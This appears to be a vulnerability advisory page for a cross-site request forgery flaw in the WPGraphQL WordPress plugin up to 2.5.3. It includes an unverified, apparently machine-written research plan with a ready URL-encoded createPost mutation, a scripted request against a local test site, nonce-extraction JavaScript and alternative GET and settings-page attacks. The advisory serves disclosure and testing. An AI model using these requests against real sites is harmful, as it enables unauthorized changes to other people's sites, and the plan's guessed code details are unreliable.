CVE-2025-68604

WPGraphQL <= 2.5.3 - Cross-Site Request Forgery

mediumCross-Site Request Forgery (CSRF)
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
2.5.4
Patched in
5d
Time to patch

Description

The WPGraphQL plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 2.5.3. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to perform an unauthorized action via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.5.3
PublishedMay 7, 2026
Last updatedMay 11, 2026
Affected pluginwp-graphql

What Changed in the Fix

Changes introduced in v2.5.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets a Cross-Site Request Forgery (CSRF) vulnerability in **WPGraphQL <= 2.5.3**. The vulnerability allows an unauthenticated attacker to perform unauthorized actions (specifically GraphQL mutations or settings changes) by tricking an authenticated administrator into interactin…

Show full research plan

This research plan targets a Cross-Site Request Forgery (CSRF) vulnerability in WPGraphQL <= 2.5.3. The vulnerability allows an unauthenticated attacker to perform unauthorized actions (specifically GraphQL mutations or settings changes) by tricking an authenticated administrator into interacting with a malicious link or page.

1. Vulnerability Summary

  • Vulnerability: Cross-Site Request Forgery (CSRF)
  • Affected Component: WPGraphQL Endpoint (/graphql) and Admin Settings.
  • Condition: The plugin fails to verify a WordPress nonce when processing state-changing operations (Mutations) sent via HTTP methods that do not trigger CORS preflights (e.g., GET or POST with application/x-www-form-urlencoded).
  • Impact: An attacker can perform any action available to the GraphQL schema (creating posts, updating settings, deleting data) with the privileges of the victim administrator.

2. Attack Vector Analysis

  • Endpoint: The GraphQL endpoint (default: /graphql or ?graphql=true).
  • Vulnerable Action: GraphQL Mutations.
  • HTTP Methods: GET and POST (specifically application/x-www-form-urlencoded).
  • Authentication: Requires an active session cookie of an administrative user.
  • Preconditions:
    • The victim must be logged in as an Administrator.
    • The GraphQL endpoint must be active (default behavior).

3. Code Flow

  1. Entry Point: An HTTP request hits index.php.
  2. Route Detection: WPGraphQL\Router::is_graphql_http_request() identifies the request as a GraphQL request based on the URL path or the graphql query variable.
  3. Request Initialization: WPGraphQL\Router::resolve_http_request() calls process_http_request(), which initializes a WPGraphQL\Request object.
  4. Data Extraction: Inside the truncated process_http_request (typically utilizing WPHelper::get_graphql_params()), the plugin extracts the GraphQL query and variables from $_GET or $_POST.
  5. Execution: WPGraphQL\Request::execute() is called.
  6. Missing Check: In affected versions, the execution path for Mutations does not invoke check_ajax_referer or verify a _wpnonce parameter/header, even though the user is authenticated via WordPress cookies.

4. Nonce Acquisition Strategy (If Required)

The vulnerability is primarily the absence of a nonce check. However, if the PoC agent finds that a nonce is partially implemented or if the patch introduced a check, use this strategy:

  1. Identify Trigger: WPGraphQL settings are located at wp-admin/admin.php?page=graphql-settings.
  2. Navigation: Use browser_navigate to go to the settings page.
  3. Extraction: WPGraphQL often localizes data in a JS variable named wpgraphql_admin.
  4. JS Verification: Execute in browser_eval:
    // Check for common WPGraphQL nonce locations
    window.wpgraphql_admin?.nonce || 
    document.querySelector('#_wpnonce')?.value || 
    "NOT_FOUND"
    
  5. Action Strings: Common action strings to look for in the source: 'wp_rest', 'graphql_settings', or -1.

5. Exploitation Strategy

We will attempt to create a new post using a CSRF-compatible POST request. This bypasses SameSite: Lax restrictions because it uses a top-level navigation-like form submission.

  • Target URL: http://[target-ip]:[port]/graphql (or http://[target-ip]:[port]/index.php?graphql=true)
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Payload (Payload must be URL-encoded):
    • query: mutation { createPost(input: {title: "Vulnerable to CSRF", status: PUBLISH, content: "Exploited by CVE-2025-68604"}) { post { id } } }

Step-by-step Execution:

  1. Setup Admin Session: Ensure the agent is logged in as an administrator.
  2. Construct Request: Use the http_request tool to simulate a cross-origin form submission.
    http_request(
        method="POST",
        url="http://localhost:8080/graphql",
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        body="query=mutation%20%7B%20createPost(input%3A%20%7Btitle%3A%20%22Vulnerable%20to%20CSRF%22%2C%20status%3A%20PUBLISH%2C%20content%3A%20%22Exploited%20by%20CVE-2025-68604%22%7D)%20%7B%20post%20%7B%20id%20%7D%20%7D%20%7D"
    )
    

6. Test Data Setup

  1. Activate Plugin: Ensure wp-graphql is active.
  2. User: An administrator account (e.g., admin / password).
  3. Settings: Ensure "Public Introspection" is enabled (usually default) to make it easier to verify the schema, though not strictly required for the exploit.

7. Expected Results

  • HTTP Response: The server should return a 200 OK with a JSON body containing:
    {"data":{"createPost":{"post":{"id":"..."}}}}
  • Impact: A new post with the title "Vulnerable to CSRF" should appear in the WordPress database.

8. Verification Steps

  1. Check Post Creation:
    wp post list --post_type=post --format=ids | xargs -I{} wp post get {} --field=post_title
    
    Confirm "Vulnerable to CSRF" exists.
  2. Check Options (If testing settings CSRF):
    If the exploit targets settings (e.g., changing the endpoint):
    wp option get graphql_general_settings
    

9. Alternative Approaches

If the POST with application/x-www-form-urlencoded is rejected:

  1. GET Request: Attempt the mutation via a GET request, which is often enabled for developer convenience:
    GET /graphql?query=mutation%20...
  2. Settings Page CSRF: Target the settings save action directly. Navigate to the WPGraphQL settings page, find the action name in the <form> tag (e.g., wpgraphql_save_settings), and submit a POST to wp-admin/admin-post.php with that action and modified settings (like disabling introspection) without a nonce.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.